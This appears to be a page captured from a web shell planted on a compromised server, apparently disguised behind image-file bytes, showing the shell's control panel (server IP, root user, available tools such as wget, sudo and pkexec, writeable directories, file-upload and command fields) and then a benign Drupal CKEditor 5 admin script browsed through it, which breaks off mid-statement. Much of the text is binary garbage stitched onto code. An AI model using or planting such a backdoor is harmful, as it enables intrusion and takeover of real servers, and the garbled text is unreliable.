RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/ciieduconnect.in/www/core/modules/ckeditor5/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/wp/ciieduconnect.in/www/core/modules/ckeditor5/js/ckeditor5.admin.es6.js
/**
 * @file
 * Provides the admin UI for CKEditor 5.
 */

((Drupal, drupalSettings, $, JSON, once, Sortable, { tabbable }) => {
  const toolbarHelp = [
    {
      message: Drupal.t(
        "The toolbar buttons that don't fit the user's browser window width will be grouped in a dropdown. If multiple toolbar rows are preferred, those can be configured by adding an explicit wrapping breakpoint wherever you want to start a new row.",
        null,
        {
          context:
            'CKEditor 5 toolbar help text, default, no explicit wrapping breakpoint',
        },
      ),
      button: 'wrapping',
      condition: false,
    },
    {
      message: Drupal.t(
        'You have configured a multi-row toolbar by using an explicit wrapping breakpoint. This may not work well in narrow browser windows. To use automatic grouping, remove any of these divider buttons.',
        null,
        {
          context:
            'CKEditor 5 toolbar help text, with explicit wrapping breakpoint',
        },
      ),
      button: 'wrapping',
      condition: true,
    },
  ];

  /**
   * Allows attaching listeners to a value.
   *
   * @type {Observable}
   */
  const Observable = class {
    /**
     * Creates new Observable with a value.
     *
     * @param {*} value
     *   The value to be observed.
     */
    constructor(value) {
      this._listeners = [];
      this._value = value;
    }

    /**
     * Notifies subscribers about new values.
     */
    notify() {
      this._listeners.forEach((listener) => listener(this._value));
    }

    /**
     * Subscribes a listener callback to changes.
     *
     * @param {Function} listener
     *   The function to be called when a new value is set.
     */
    subscribe(listener) {
      this._listeners.push(listener);
    }

    /**
     * The value of the observable.
     *
     * @return {*}
     *   The current value.
     */
    get value() {
      return this._value;
    }

    /**
     * Sets the value of the observable and notifies subscribers.
     *
     * @param {*} val
     *   The new value of the observable.
     */
    set value(val) {
      if (val !== this._value) {
        this._value = val;
        this.notify();
      }
    }
  };

  /**
   * Gets selected buttons.
   *
   * @param {Array} selected
   *   The selected buttons retrieved from state.
   * @param {Array} dividers
   *   The available dividers.
   * @param {Array} available
   *   The available buttons.
   * @return {Array}
   *   An array containing selected buttons.
   */
  const getSelectedButtons = (selected, dividers, available) => {
    return selected.map((id) => ({
      ...[...dividers, ...available].find((button) => button.id === id),
    }));
  };

  /**
   * Updates selected buttons to the textarea.
   *
   * @param {Array} selection
   *   The current selection.
   * @param {Element} textarea
   *   The textarea element.
   */
  const updateSelectedButtons = (selection, textarea) => {
    const newValue = JSON.stringify(selection);

    const priorValue = textarea.innerHTML;
    textarea.value = newValue;
    textarea.innerHTML = newValue;

    // The textarea is programmatically updated, so no native JavaScript
    // event is triggered. Event listeners need to be aware of this config
    // update, so a custom event is dispatched immediately after the
    // config update.
    textarea.dispatchEvent(
      new CustomEvent('change', {
        detail: {
          priorValue,
        },
      }),
    );
  };

  /**
   * Function to add button to selected buttons.
   *
   * @param {Observable} selection
   *   The currently selected buttons.
   * @param {Element} element
   *   The element which is being added.
   * @param {function} announceChange
   *   Function to call to announce the change.
   */
  const addToSelectedButtons = (selection, element, announceChange) => {
    const list = [...selection.value];
    list.push(element.dataset.id);
    selection.value = list;

    if (announceChange) {
      setTimeout(() => {
        announceChange(element.dataset.label);
      });
    }
  };

  /**
   * Function to remove button from selected buttons.
   *
   * @param {Observable} selection
   *   The currently selected buttons.
   * @param {Element} element
   *   The element which is being removed.
   * @param {function} announceChange
   *   Function to call to announce the change.
   */
  const removeFromSelectedButtons = (selection, element, announceChange) => {
    const list = [...selection.value];
    const index = Array.from(element.parentElement.children).findIndex(
      (child) => {
        return child === element;
      },
    );
    list.splice(index, 1);
    selection.value = list;

    if (announceChange) {
      setTimeout(() => {
        announceChange(element.dataset.label);
      });
    }
  };

  /**
   * Moves element within active buttons.
   *
   * @param {Observable} selection
   *   The currently selected buttons.
   * @param {Element} element
   *   The element being moved.
   * @param {Number} dir
   *   The direction which the element is being moved.
   */
  const moveWithinSelectedButtons = (selection, element, dir) => {
    const list = [...selection.value];
    const index = Array.from(element.parentElement.children).findIndex(
      (child) => {
        return child === element;
      },
    );
    // If moving up, check it is not the first, else check it is not the last.
    const condition = dir < 0 ? index > 0 : index < list.length - 1;
    if (condition) {
      list.splice(index + dir, 0, list.splice(index, 1)[0]);
      selection.value = list;
    }
  };

  /**
   * Copies element to active buttons.
   *
   * @param {Observable} selection
   *   The currently selected buttons.
   * @param {Element} element
   *   The element to be copied.
   * @param {Function} announceChange
   *   A function to call to announce the change.
   */
  const copyToActiveButtons = (selection, element, announceChange) => {
    const list = [...selection.value];
    list.push(element.dataset.id);
    selection.value = list;

    setTimeout(() => {
      if (announceChange) {
        announceChange(element.dataset.label);
      }
    });
  };

  /**
   * Renders the CKEditor 5 button admin UI.
   *
   * @param {Element} root
   *   The element where the admin UI should be rendered.
   * @param {Observable} selectedButtons
   *   An Observable object containing selected buttons.
   * @param {Array} availableButtons
   *   An array containing available buttons.
   * @param {Array} dividerButtons
   *   An array containing available divider buttons.
   */
  const render = (root, selectedButtons, availableButtons, dividerButtons) => {
    const toolbarHelpText = toolbarHelp
      .filter(
        (helpItem) =>
          selectedButtons.value.includes(helpItem.button) ===
          helpItem.condition,
      )
      .map((helpItem) => helpItem.message);

    // Get the existing toolbar help message.
    const existingToolbarHelpText = document.querySelector(
      '[data-drupal-selector="ckeditor5-admin-help-message"]',
    );

    // If the existing toolbar help message does not match the message that is
    // about to be rendered, it is new information that should be conveyed to
    // assistive tech via announce().
    if (
      existingToolbarHelpText &&
      toolbarHelpText.join('').trim() !==
        existingToolbarHelpText.textContent.trim()
    ) {
      Drupal.announce(toolbarHelpText.join(' '));
    }

    root.innerHTML = Drupal.theme.ckeditor5Admin({
      availableButtons: Drupal.theme.ckeditor5AvailableButtons({
        buttons: availableButtons.filter(
          (button) => !selectedButtons.value.includes(button.id),
        ),
      }),
      dividerButtons: Drupal.theme.ckeditor5DividerButtons({
        buttons: dividerButtons,
      }),
      activeToolbar: Drupal.theme.ckeditor5SelectedButtons({
        buttons: getSelectedButtons(
          selectedButtons.value,
          dividerButtons,
          availableButtons,
        ),
      }),
      helpMessage: toolbarHelpText,
    });

    // Create sortable groups for available buttons, current toolbar items,
    // and dividers.
    new Sortable(
      root.querySelector(
        '[data-button-list="ckeditor5-toolbar-active-buttons"]',
      ),
      {
        group: { name: 'toolbar', put: ['divider', 'available'] },
        sort: true,
        store: {
          set: (sortable) => {
            selectedButtons.value = sortable.toArray();
          },
        },
      },
    );
    const toolbarAvailableButtons = new Sortable(
      root.querySelector(
        '[data-button-list="ckeditor5-toolbar-available-buttons"]',
      ),
      {
        group: { name: 'available', put: ['toolbar'] },
        sort: false,
        onAdd: (event) => {
          // If the moved item is a divider, it should not be added to
          // the available buttons list.
          if (
            dividerButtons.find(
              (dividerButton) => dividerButton.id === event.item.dataset.id,
            )
          ) {
            const { newIndex } = event;
            setTimeout(() => {
              // Remove the divider button from the available buttons
              // list. Draggable reassesses the lists during each drag
              // event, so the DOM removal should not be disruptive.
              document
                .querySelectorAll('.ckeditor5-toolbar-available__buttons li')
                [newIndex].remove();
            });
          }
        },
      },
    );
    new Sortable(
      root.querySelector(
        '[data-button-list="ckeditor5-toolbar-divider-buttons"]',
      ),
      {
        group: { name: 'divider', put: false, pull: 'clone', sort: 'false' },
      },
    );

    root
      .querySelectorAll('[data-drupal-selector="ckeditor5-toolbar-button"]')
      .forEach((element) => {
        const expandButton = (event) => {
          event.currentTarget
            .querySelectorAll('.ckeditor5-toolbar-button')
            .forEach((buttonElement) => {
              buttonElement.setAttribute('data-expanded', true);
            });
        };
        const retractButton = (event) => {
          event.currentTarget
            .querySelectorAll('.ckeditor5-toolbar-button')
            .forEach((buttonElement) => {
              buttonElement.setAttribute('data-expanded', false);
            });
        };
        element.addEventListener('mouseenter', expandButton);
        element.addEventListener('focus', expandButton);
        element.addEventListener('mouseleave', retractButton);
        element.addEventListener('blur', retractButton);

        element.addEventListener('keyup', (event) => {
          // Keys supported by the admin UI. Depending on the element that is
          // triggering the event, the event could trigger changes in the state.
          // Changes to the state trigger re-rendering of the admin UI, which
          // means that for consistent navigation, each action modifying state
          // needs to set focus back on the button that is being moved. The state
          // change also triggers an AJAX request which re-renders parts of the
          // form, and moves the focus to the triggering form element, meaning
          // that focus needs to be set back on the button again.
          const supportedKeys = [
            'ArrowLeft',
            'ArrowRight',
            'ArrowUp',
            'ArrowDown',
          ];
          const dir = document.documentElement.dir;
          if (supportedKeys.includes(event.key)) {
            if (event.currentTarget.dataset.divider.toLowerCase() === 'true') {
              switch (event.key) {
                case 'ArrowDown': {
                  const announceChange = (name) => {
                    Drupal.announce(
                      Drupal.t(
                        'Button @name has been copied to the active toolbar.',
                        { '@name': name },
                      ),
                    );
                  };
                  copyToActiveButtons(
                    selectedButtons,
                    event.currentTarget,
                    announceChange,
                  );
                  // Focus the last button since new button is always added to the
                  // end of the list.
                  root
                    .querySelector(
                      '[data-button-list="ckeditor5-toolbar-active-buttons"] li:last-child',
                    )
                    .focus();
                  break;
                }
              }
            } else if (
              selectedButtons.value.includes(event.currentTarget.dataset.id)
            ) {
              const index = Array.from(
                element.parentElement.children,
              ).findIndex((child) => {
                return child === element;
              });
              switch (event.key) {
                case 'ArrowLeft': {
                  const leftOffset = dir === 'ltr' ? -1 : 1;
                  moveWithinSelectedButtons(
                    selectedButtons,
                    event.currentTarget,
                    leftOffset,
                  );
                  // Move focus to left or right from the current index depending
                  // on current language direction. Use index instead of the
                  // data-id because dividers don't have a unique ID.
                  root
                    .querySelectorAll(
                      '[data-button-list="ckeditor5-toolbar-active-buttons"] li',
                    )
                    [index + leftOffset].focus();
                  break;
                }
                case 'ArrowRight': {
                  const rightOffset = dir === 'ltr' ? 1 : -1;
                  moveWithinSelectedButtons(
                    selectedButtons,
                    event.currentTarget,
                    rightOffset,
                  );
                  // Move focus to right or left from the current index depending
                  // on current language direction. Use index instead of the
                  // data-id because dividers don't have a unique ID.
                  root
                    .querySelectorAll(
                      '[data-button-list="ckeditor5-toolbar-active-buttons"] li',
                    )
                    [index + rightOffset].focus();
                  break;
                }
                case 'ArrowUp': {
                  const announceChange = (name) => {
                    Drupal.announce(
                      Drupal.t(
                        'Button @name has been removed from the active toolbar.',
                        { '@name': name },
                      ),
                    );
                  };
                  removeFromSelectedButtons(
                    selectedButtons,
                    event.currentTarget,
                    announceChange,
                  );
                  // Focus only if the button wasn't a divider because dividers
                  // are simply removed from the active buttons instead of moving
                  // to another list.
                  if (
                    !dividerButtons.find(
                      (dividerButton) =>
                        event.currentTarget.dataset.id === dividerButton.id,
                    )
                  ) {
                    // Focus button based on the data-id attribute from the
                    // available buttons list.
                    root
                      .querySelector(
                        `[data-button-list="ckeditor5-toolbar-available-buttons"] [data-id="${event.currentTarget.dataset.id}"]`,
                      )
                      .focus();
                  }
                  break;
                }
              }
            } else if (
              toolbarAvailableButtons
                .toArray()
                .includes(event.currentTarget.dataset.id)
            ) {
              switch (event.key) {
                case 'ArrowDown': {
                  const announceChange = (name) => {
                    Drupal.announce(
                      Drupal.t(
                        'Button @name has been moved to the active toolbar.',
                        { '@name': name },
                      ),
                    );
                  };
                  addToSelectedButtons(
                    selectedButtons,
                    event.currentTarget,
                    announceChange,
                  );
                  // Focus the last button since new button is always added to the
                  // end of the list.
                  root
                    .querySelector(
                      '[data-button-list="ckeditor5-toolbar-active-buttons"] li:last-child',
                    )
                    .focus();
                  break;
                }
              }
            }
          }
        });
      });
  };

  /**
   * Attach CKEditor 5 admin UI.
   *
   * @type {Drupal~behavior}
   *
   * @prop {Drupal~behaviorAttach} attach
   *   Attaches admin app to edit the CKEditor 5 toolbar.
   * @prop {Drupal~behaviorDetach} detach
   *   Detaches admin app from the CKEditor 5 configuration form on 'unload'.
   */
  Drupal.behaviors.ckeditor5Admin = {
    attach(context) {
      once('ckeditor5-admin-toolbar', '#ckeditor5-toolbar-app').forEach(
        (container) => {
          const selectedTextarea = context.querySelector(
            '#ckeditor5-toolbar-buttons-selected',
          );
          const available = Object.entries(
            JSON.parse(
              context.querySelector('#ckeditor5-toolbar-buttons-available')
                .innerHTML,
            ),
          ).map(([name, attrs]) => ({ name, id: name, ...attrs }));
          const dividers = [
            {
              id: 'divider',
              name: '|',
              label: Drupal.t('Divider'),
            },
            {
              id: 'wrapping',
              name: '-',
              label: Drupal.t('Wrapping'),
            },
          ];

          // Selected is used for managing the state. Sortable is handling updates
          // to the state when the system is operated by mouse. There are
          // functions making direct modifications to the state when system is
          // operated by keyboard.
          const selected = new Observable(
            JSON.parse(selectedTextarea.innerHTML).map((name) => {
              return [...dividers, ...available].find((button) => {
                return button.name === name;
              }).id;
            }),
          );

          const mapSelection = (selection) => {
            return selection.map((id) => {
              return [...dividers, ...available].find((button) => {
                return button.id === id;
              }).name;
            });
          };
          // Whenever the state is changed, update the textarea with the changes.
          // This will also trigger re-render of the admin UI to reinitialize the
          // Sortable state.
          selected.subscribe((selection) => {
            updateSelectedButtons(mapSelection(selection), selectedTextarea);
            render(container, selected, available, dividers);
          });

          [
            context.querySelector('#ckeditor5-toolbar-buttons-available'),
            context.querySelector('[class*="editor-settings-toolbar-items"]'),
          ]
            .filter((el) => el)
            .forEach((el) => {
              el.classList.add('visually-hidden');
            });

          render(container, selected, available, dividers);
        },
      );
      // Safari's focus outlines take into account absolute positioned elements.
      // When a toolbar option is blurred, the portion of the focus outline
      // surrounding the absolutely positioned tooltip does not go away. To
      // prevent keyboard navigation users from seeing outline artifacts for
      // every option they've tabbed through, we provide a keydown listener
      // that can catch blur-causing events before the blur happens. If the
      // tooltip is hidden before the blur event, the outline will disappear
      // correctly.
      once('safari-focus-fix', '.ckeditor5-toolbar-item').forEach((item) => {
        item.addEventListener('keydown', (e) => {
          const keyCodeDirections = {
            9: 'tab',
            37: 'left',
            38: 'up',
            39: 'right',
            40: 'down',
          };
          if (
            ['tab', 'left', 'up', 'right', 'down'].includes(
              keyCodeDirections[e.keyCode],
            )
          ) {
            let hideTip = false;
            const isActive = e.target.closest(
              '[data-button-list="ckeditor5-toolbar-active__buttons"]',
            );
            if (isActive) {
              if (
                ['tab', 'left', 'up', 'right'].includes(
                  keyCodeDirections[e.keyCode],
                )
              ) {
                hideTip = true;
              }
            } else if (['tab', 'down'].includes(keyCodeDirections[e.keyCode])) {
              hideTip = true;
            }
            if (hideTip) {
              e.target
